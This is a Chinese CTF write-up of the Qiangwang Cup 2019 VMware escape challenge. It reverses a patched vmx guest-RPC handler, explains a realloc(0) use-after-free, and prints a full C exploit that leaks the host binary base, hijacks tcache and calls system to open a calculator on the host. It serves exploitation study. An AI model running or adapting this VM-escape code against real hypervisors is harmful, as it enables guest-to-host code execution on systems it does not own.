虚拟机逃逸(二)

强网杯2019 虚拟机逃逸分析

0x00 前言

初次分析虚拟机逃逸,之前分析了一篇rwctf2018,这次视线转到强网杯的一个虚拟机逃逸分析。难度比rw大一点点,但是逆向分析还是重点,所以也不会差到哪里去。

一些有关基础的链接放在这里,不做赘述。

题解

RPC/backdoor机制

0x01 分析

bindiff

这类题目都会给一个patched的vmx文件,安装vmware后,在/usr/lib/vmware/bin目录下可以找到目标vmx。使用bindiff比较patched和patch之前的区别可以迅速定位漏洞的位置。

(bindiff分析太慢了,这次选择了010)

图片.png

有三处不同,ida定位到关键位置。

图片.png

一处把r12d改成了r12w,相当于省略了r12的高位。

图片.png

把跳转的条件改为了大于等于。

图片.png

跳转改为了无条件。

最后一个改变,取消了条件检查,前两处patch改变如下。

图片.png

本能的反应就是realloc函数的漏洞,这类题在常规pwn中很常见,realloc函数第二个size参数如果为0,则和free效果一样,常常会导致DF、UAF.接下来细看一下伪代码。

ida分析

Vmx漏洞依然位于guestRPC的处理函数中,该函数中使用了一个大的switch处理不同的信息。接下来详细分析。(虚拟机逃逸(一)中只给了分析的结构体)

关于一些基础知识可以看[虚拟机逃逸(一)]()

Open_RPC_channel

图片.png

这是switch下最简单的一个分支了,打开信道,内容就是简单的接受数据包,然后获得magicnum(这部分是调试得到的)

图片.png

magicnum会进行一个比较如果失败就直接退出。

Send_RPC_command_length

首先判断byte_FE9584,也是一个魔数,接着就判断长度。

图片.png

长度为-1或者大于0x10000就会报错。如果RPCI的长度符合就会继续往下走。!

图片.png
在这个判断中,比较56和21偏移处的值,v56为接收到的数据包,v21为现有长度,如果数据长度大于现有长度则realloc重新分配,设置空间大小为新的大小,且修改msg_struct。

漏洞就出在这个部分。漏洞存在的比较隐秘,大体属于整形溢出。

图片.png

此处,处理size的时候加入了LOWORD修饰,导致dword->word高位失去,所以如果设置v56=0xffff则可以通过大小判断,然后LOWORD(0xffff+1)=LOWORD(0x10000)=0,则此时的realloc第二个参数为0,运行时重新回收ptr。也没有清0.导致了ptr的UAF利用。

Send_RPC_command_data

首先读入了需要发送的data指令,然后读取RPCI结构体,根据前面设置的长度,以不同的方式发送msg,一次最多发送四个字节,四个字节以内发送的方式都是一个byte一个byte的复制。

图片.png

图片.png

发送完指令之后,判断是否发送完,如果发送完了则进入指令处理,根据一个类似虚表的bss段指针,执行某个函数rw2018中,最后就是劫持了这样一个函数,让我们成功逃逸。

图片.png
处理完之后,flag标志为设置为1.具体的指令可以搜索字符串,之前分析的rw2018中也有相应的分析,这里就不赘述。

Recieve_RPC_reply_length

图片.png

guest获得,返回的长度,逻辑简单。

Recieve_RPC_reply_data

执行指令之后返回的数据。

逻辑和发送差不多,同样的先收到长度,然后判断长度,一次接受四个字节,然后再把数据转移到缓冲区。最后设置flag为发送完毕。

图片.png

Finish_receiving_RPC_reply & Close_RPC_channel

这两个部分也较为简单,前者在rw2018详细分析过,后者就是close channel。同时设置flag为1,整个指令处理发送接收流程结束。

漏洞利用

前面说过了,漏洞存在于realloc中,利用该UAF可以造成泄露等操作。实际上leak和利用的思路还是和rw差不多的。

此处的UAF位置在realloc环节也就是设置发送长度的环节,但是造成UAF leak虚表还是需要先设置一个0x100大小的缓冲区。

  • 开启channel A channel B
  • A设置buffer为0x100, B 使用info get也设置为0x100
  • 然后set_len触发A漏洞,B get这个buffer,A再次触发漏洞。此时B 的buffer已经在tcache里了
  • 调用dnd_vison函数写入虚表
  • leak

漏洞利用也是和rw一样,直接tcache劫持即可

0x02 exp

主要的流程还是复制rw2018的,改动少部分即可。还是对师傅的脚本分析

leak函数

图片.png

完整的channel 0 发送指令

图片.png

channel发送部分info get

图片.png

free channel 0 的buffer,然后在channel 1realloc出来。

图片.png

再次free

图片.png

dnd_verison打入虚表

tcache劫持操作也是一样的,只是改掉了触发的位置。

  1. #include <stdio.h>
  2. #include <stdint.h>
  3. void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
  4. asm("movl %%eax,%%ebx\n\t"
  5. "movq %%rdi,%%r10\n\t"
  6. "movq %%rsi,%%r11\n\t"
  7. "movq %%rdx,%%r12\n\t"
  8. "movq %%rcx,%%r13\n\t"
  9. "movl $0x564d5868,%%eax\n\t"
  10. "movl $0x49435052,%%ebx\n\t"
  11. "movl $0x1e,%%ecx\n\t"
  12. "movl $0x5658,%%edx\n\t"
  13. "out %%eax,%%dx\n\t"
  14. "movl %%edi,(%%r10)\n\t"
  15. "movl %%esi,(%%r11)\n\t"
  16. "movl %%edx,(%%r12)\n\t"
  17. "movl %%ecx,(%%r13)\n\t"
  18. :
  19. :
  20. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
  21. );
  22. }
  23. void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
  24. asm("movl %%eax,%%ebx\n\t"
  25. "movq %%r8,%%r10\n\t"
  26. "movl %%ecx,%%ebx\n\t"
  27. "movl $0x564d5868,%%eax\n\t"
  28. "movl $0x0001001e,%%ecx\n\t"
  29. "movw $0x5658,%%dx\n\t"
  30. "out %%eax,%%dx\n\t"
  31. "movl %%ecx,(%%r10)\n\t"
  32. :
  33. :
  34. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  35. );
  36. }
  37. void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
  38. asm("pushq %%rbp\n\t"
  39. "movq %%r9,%%r10\n\t"
  40. "movq %%r8,%%rbp\n\t"
  41. "movq %%rcx,%%r11\n\t"
  42. "movq $0,%%r12\n\t"
  43. "1:\n\t"
  44. "movq %%r8,%%rbp\n\t"
  45. "add %%r12,%%rbp\n\t"
  46. "movl (%%rbp),%%ebx\n\t"
  47. "movl $0x564d5868,%%eax\n\t"
  48. "movl $0x0002001e,%%ecx\n\t"
  49. "movw $0x5658,%%dx\n\t"
  50. "out %%eax,%%dx\n\t"
  51. "addq $4,%%r12\n\t"
  52. "cmpq %%r12,%%r11\n\t"
  53. "ja 1b\n\t"
  54. "movl %%ecx,(%%r10)\n\t"
  55. "popq %%rbp\n\t"
  56. :
  57. :
  58. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
  59. );
  60. }
  61. void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
  62. asm("movl %%eax,%%ebx\n\t"
  63. "movq %%r8,%%r10\n\t"
  64. "movq %%rcx,%%r11\n\t"
  65. "movl $0x564d5868,%%eax\n\t"
  66. "movl $0x0003001e,%%ecx\n\t"
  67. "movw $0x5658,%%dx\n\t"
  68. "out %%eax,%%dx\n\t"
  69. "movl %%ecx,(%%r10)\n\t"
  70. "movl %%ebx,(%%r11)\n\t"
  71. :
  72. :
  73. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
  74. );
  75. }
  76. void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
  77. asm("pushq %%rbp\n\t"
  78. "movq %%r9,%%r10\n\t"
  79. "movq %%r8,%%rbp\n\t"
  80. "movq %%rcx,%%r11\n\t"
  81. "movq $1,%%rbx\n\t"
  82. "movl $0x564d5868,%%eax\n\t"
  83. "movl $0x0004001e,%%ecx\n\t"
  84. "movw $0x5658,%%dx\n\t"
  85. "in %%dx,%%eax\n\t"
  86. "add %%r11,%%rbp\n\t"
  87. "movl %%ebx,(%%rbp)\n\t"
  88. "movl %%ecx,(%%r10)\n\t"
  89. "popq %%rbp\n\t"
  90. :
  91. :
  92. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
  93. );
  94. }
  95. void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
  96. asm("movl %%eax,%%ebx\n\t"
  97. "movq %%rcx,%%r10\n\t"
  98. "movq $0x1,%%rbx\n\t"
  99. "movl $0x564d5868,%%eax\n\t"
  100. "movl $0x0005001e,%%ecx\n\t"
  101. "movw $0x5658,%%dx\n\t"
  102. "out %%eax,%%dx\n\t"
  103. "movl %%ecx,(%%r10)\n\t"
  104. :
  105. :
  106. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  107. );
  108. }
  109. void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
  110. asm("movl %%eax,%%ebx\n\t"
  111. "movq %%rcx,%%r10\n\t"
  112. "movq $0x21,%%rbx\n\t"
  113. "movl $0x564d5868,%%eax\n\t"
  114. "movl $0x0005001e,%%ecx\n\t"
  115. "movw $0x5658,%%dx\n\t"
  116. "out %%eax,%%dx\n\t"
  117. "movl %%ecx,(%%r10)\n\t"
  118. :
  119. :
  120. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  121. );
  122. }
  123. void channel_close(int cookie1,int cookie2,int channel_num,int *res){
  124. asm("movl %%eax,%%ebx\n\t"
  125. "movq %%rcx,%%r10\n\t"
  126. "movl $0x564d5868,%%eax\n\t"
  127. "movl $0x0006001e,%%ecx\n\t"
  128. "movw $0x5658,%%dx\n\t"
  129. "out %%eax,%%dx\n\t"
  130. "movl %%ecx,(%%r10)\n\t"
  131. :
  132. :
  133. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  134. );
  135. }
  136. struct channel{
  137. int cookie1;
  138. int cookie2;
  139. int num;
  140. };
  141. uint64_t heap =0;
  142. uint64_t text =0;
  143. void run_cmd(char *cmd){
  144. struct channel tmp;
  145. int res,len,i;
  146. char *data;
  147. channel_open(&amp;tmp.cookie1,&amp;tmp.cookie2,&amp;tmp.num,&amp;res);
  148. if(!res){
  149. printf("fail to open channel!\n");
  150. return;
  151. }
  152. channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&amp;res);
  153. if(!res){
  154. printf("fail to set len\n");
  155. return;
  156. }
  157. channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&amp;res);
  158. channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&amp;len,&amp;res);
  159. if(!res){
  160. printf("fail to recv data len\n");
  161. return;
  162. }
  163. printf("recv len:%d\n",len);
  164. data = malloc(len+0x10);
  165. memset(data,0,len+0x10);
  166. for(i=0;i<len+0x10;i+=4){
  167. channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&amp;res);
  168. }
  169. printf("recv data:%s\n",data);
  170. channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&amp;res);
  171. if(!res){
  172. printf("fail to recv finish\n");
  173. }
  174. channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&amp;res);
  175. if(!res){
  176. printf("fail to close channel\n");
  177. return;
  178. }
  179. }
  180. void leak(){
  181. struct channel chan[10];
  182. int res=0;
  183. int len,i;
  184. char pay[8192];
  185. char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  186. char *data;
  187. char *s2 = "info-get guestinfo.a";
  188. char *s21= "info-get guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  189. char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  190. char *s4 = "tools.capability.dnd_version 4";
  191. char *s5 = "vmx.capability.dnd_version";
  192. //init data
  193. run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);
  194. run_cmd(s4);
  195. //first step
  196. channel_open(&amp;chan[0].cookie1,&amp;chan[0].cookie2,&amp;chan[0].num,&amp;res);
  197. if(!res){
  198. printf("fail to open channel!\n");
  199. return;
  200. }
  201. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),&amp;res);//strlen(s21) = 0x100
  202. if(!res){
  203. printf("fail to set len\n");
  204. return;
  205. }
  206. channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),s2,&amp;res);
  207. channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;len,&amp;res);
  208. if(!res){
  209. printf("fail to recv data len\n");
  210. return;
  211. }
  212. printf("recv len:%d\n",len);
  213. data = malloc(len+0x10);
  214. memset(data,0,len+0x10);
  215. for(i=0;i<len+0x10;i++){
  216. channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&amp;res);
  217. }
  218. printf("recv data:%s\n",data);
  219. //second step free the reply and let the other channel get it.
  220. channel_open(&amp;chan[1].cookie1,&amp;chan[1].cookie2,&amp;chan[1].num,&amp;res);
  221. if(!res){
  222. printf("fail to open channel!\n");
  223. return;
  224. }
  225. channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&amp;res);
  226. if(!res){
  227. printf("fail to set len\n");
  228. return;
  229. }
  230. channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&amp;res);
  231. if(!res){
  232. printf("fail to send data\n");
  233. return;
  234. }
  235. //free the output buffer
  236. //printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
  237. printf("now let's free\n");
  238. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&amp;res);
  239. if(!res){
  240. printf("fail to recv finish1\n");
  241. return;
  242. }
  243. printf("then alloc channel 1\n");
  244. //finished sending the command, should get the freed buffer
  245. printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
  246. channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&amp;s2[16],&amp;res);
  247. if(!res){
  248. printf("fail to send data\n");
  249. return;
  250. }
  251. printf("check if channel 1's buffer == channel 0's buffer\n");
  252. //third step,free it again
  253. //set status to be 4
  254. //free the output buffer
  255. printf("Free the buffer again...\n");
  256. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&amp;res);
  257. if(!res){
  258. printf("fail to recv finish2\n");
  259. return;
  260. }
  261. printf("check the heap, our target buffer in tcache now!\nTrying to reuse the buffer as a struct, which we can leak..\n");
  262. run_cmd(s5);
  263. printf("Should be done.Check the buffer\n");
  264. //Now the output buffer of chan[1] is used as a struct, which contains many addresses
  265. channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&amp;len,&amp;res);
  266. if(!res){
  267. printf("fail to recv data len\n");
  268. return;
  269. }
  270. data = malloc(len+0x10);
  271. memset(data,0,len+0x10);
  272. for(i=0;i<len+0x10;i+=4){
  273. channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&amp;res);
  274. }
  275. printf("recv data:\n");
  276. for(i=0;i<len;i+=8){
  277. printf("recv data:%lx\n",*(long long *)&amp;data[i]);
  278. }
  279. text = (*(uint64_t *)data)-0xf818d0;
  280. channel_recv_finish(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;res);
  281. printf("Leak Success\n");
  282. }
  283. void exploit(){
  284. //the exploit step is almost the same as the leak ones
  285. struct channel chan[10];
  286. int res=0;
  287. int len,i;
  288. char *data;
  289. char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
  290. char *s2 = "info-get guestinfo.b";
  291. char *s3 = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
  292. char *s4 = "gnome-calculator\x00";
  293. uint64_t pay1 =text+0xFE95B8;
  294. uint64_t pay2 =text+0xECFE0; //system
  295. uint64_t pay3 =text+0xFE95C8;
  296. char *pay4 = "gnome-calculator\x00";
  297. //run_cmd(s1);
  298. channel_open(&amp;chan[0].cookie1,&amp;chan[0].cookie2,&amp;chan[0].num,&amp;res);
  299. if(!res){
  300. printf("fail to open channel!\n");
  301. return;
  302. }
  303. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),&amp;res);
  304. if(!res){
  305. printf("fail to set len\n");
  306. return;
  307. }
  308. channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),s1,&amp;res);
  309. channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;len,&amp;res);
  310. if(!res){
  311. printf("fail to recv data len\n");
  312. return;
  313. }
  314. printf("recv len:%d\n",len);
  315. data = malloc(len+0x10);
  316. memset(data,0,len+0x10);
  317. for(i=0;i<len+0x10;i+=4){
  318. channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&amp;res);
  319. }
  320. printf("recv data:%s\n",data);
  321. channel_open(&amp;chan[1].cookie1,&amp;chan[1].cookie2,&amp;chan[1].num,&amp;res);
  322. if(!res){
  323. printf("fail to open channel!\n");
  324. return;
  325. }
  326. channel_open(&amp;chan[2].cookie1,&amp;chan[2].cookie2,&amp;chan[2].num,&amp;res);
  327. if(!res){
  328. printf("fail to open channel!\n");
  329. return;
  330. }
  331. channel_open(&amp;chan[3].cookie1,&amp;chan[3].cookie2,&amp;chan[3].num,&amp;res);
  332. if(!res){
  333. printf("fail to open channel!\n");
  334. return;
  335. }
  336. printf("this time free firstly\n");
  337. getchar();
  338. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&amp;res);
  339. if(!res){
  340. printf("fail to recv finish2\n");
  341. return;
  342. }
  343. printf("already free check the heap\n");
  344. getchar();
  345. printf("alloc for channel 1\n");
  346. getchar();
  347. channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&amp;res);
  348. if(!res){
  349. printf("fail to set len\n");
  350. return;
  351. }
  352. printf("leak2 success\n");
  353. getchar();
  354. printf("free agin for UAF\n");
  355. getchar();
  356. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&amp;res);
  357. if(!res){
  358. printf("fail to recv finish2\n");
  359. return;
  360. }
  361. printf("UAF done!\n");
  362. getchar();
  363. printf("ready to change fd\n");
  364. getchar();
  365. channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&amp;pay1,&amp;res);
  366. printf("hjacking!!\n");
  367. getchar();
  368. channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&amp;res);
  369. if(!res){
  370. printf("fail to set len\n");
  371. return;
  372. }
  373. printf("target address in fd\n");
  374. getchar();
  375. channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&amp;res);
  376. channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&amp;pay2,&amp;res);
  377. channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&amp;pay3,&amp;res);
  378. channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&amp;res);
  379. printf("success!\n");
  380. getchar();
  381. run_cmd(s4);
  382. if(!res){
  383. printf("fail to set len\n");
  384. return;
  385. }
  386. }
  387. void main(){
  388. setvbuf(stdout,0,2,0);
  389. setvbuf(stderr,0,2,0);
  390. setvbuf(stdin,0,2,0);
  391. leak();
  392. printf("text base :%p",text);
  393. getchar();
  394. getchar();
  395. exploit();
  396. }

0x03 调试

把断点放在realloc的位置,方便查看realloc后的堆布局。

图片.png

在第一次free的位置看到了目标chunk,0x7f797803a890,这个chunk就是我们要复用的chunk。此次realloc结束,应该被挂进tcache。

图片.png

整个chunk的内容,可以看到大小是0x115,这里不知道为啥,连地址都没对齐。

图片.png

单步执行之后,看到被挂进tcache的chunk。当channel 1,alloc取出这块chunk的时候,没有触发到realloc,直接走过去了。所以没断下来。因该在if的判断位置加一个断点,查看堆布局的。

不过此时可以看一下目标chunk的内容,有没有被改变。

图片.png

可以看到被挂上了熟悉的fd,但是却没有在相应的tcache里面,则可以推断,该chunk已经是alloc状态了。

继续执行,第二次free。

图片.png

此次realloc依然触发free。

图片.png

chunk被挂进了tcache,然后下一步执行dnd_version应该会把chunk取出,然后把虚表指针写入。

图片.png

成功写入,接下来就是改写system的过程。

图片.png
channel 0的第一次free,记住chunk地址,0x7fa59c028e20,然后和leak一眼,对channel 1的UAF。

图片.png

劫持成功,但是此时tcache中却看不到,可能heapinfo有点问题。

图片.png

计算偏移后,目标位置被打入tcache的fd中,然后就是常规利用。把该内存malloc出来。然后写入system

图片.png

成功写入system,继续执行,然后弹出计算器。
图片.png

0x05 思考

emm,调试总是遇到一些问题,有时候挂上gdb,leak出来的基址就不对了。。。离谱,不知道为什么。想到的办法是,先发送完payload,然后再attach上去,exp和leak部分分开调试。

还有虚拟机的vmx,移动的时候,权限关系,可能导致打不开虚拟机,只有使用sudo vmware才可以打开,不过这样打开的虚拟机,最后可以成功leak和执行,但是弹不出计算器,也就是命令执行失败,报错报了虚拟化错误,搞了好久没解决,最后也是莫名其妙的突然解决了。

两个vm类型的虚拟机逃逸收获很大,逆向的基础牢固了许多,realworld类的题目和CTF还是有很多差别,前者需要很好的逆向功底和对目标的熟悉,后者更多是技巧上的利用。

  • 发表于 2022-06-21 09:43:34
  • 阅读 ( 6973 )
  • 分类:漏洞分析

1 条评论

就叫16385吧
就叫16385吧

11 篇文章

站长统计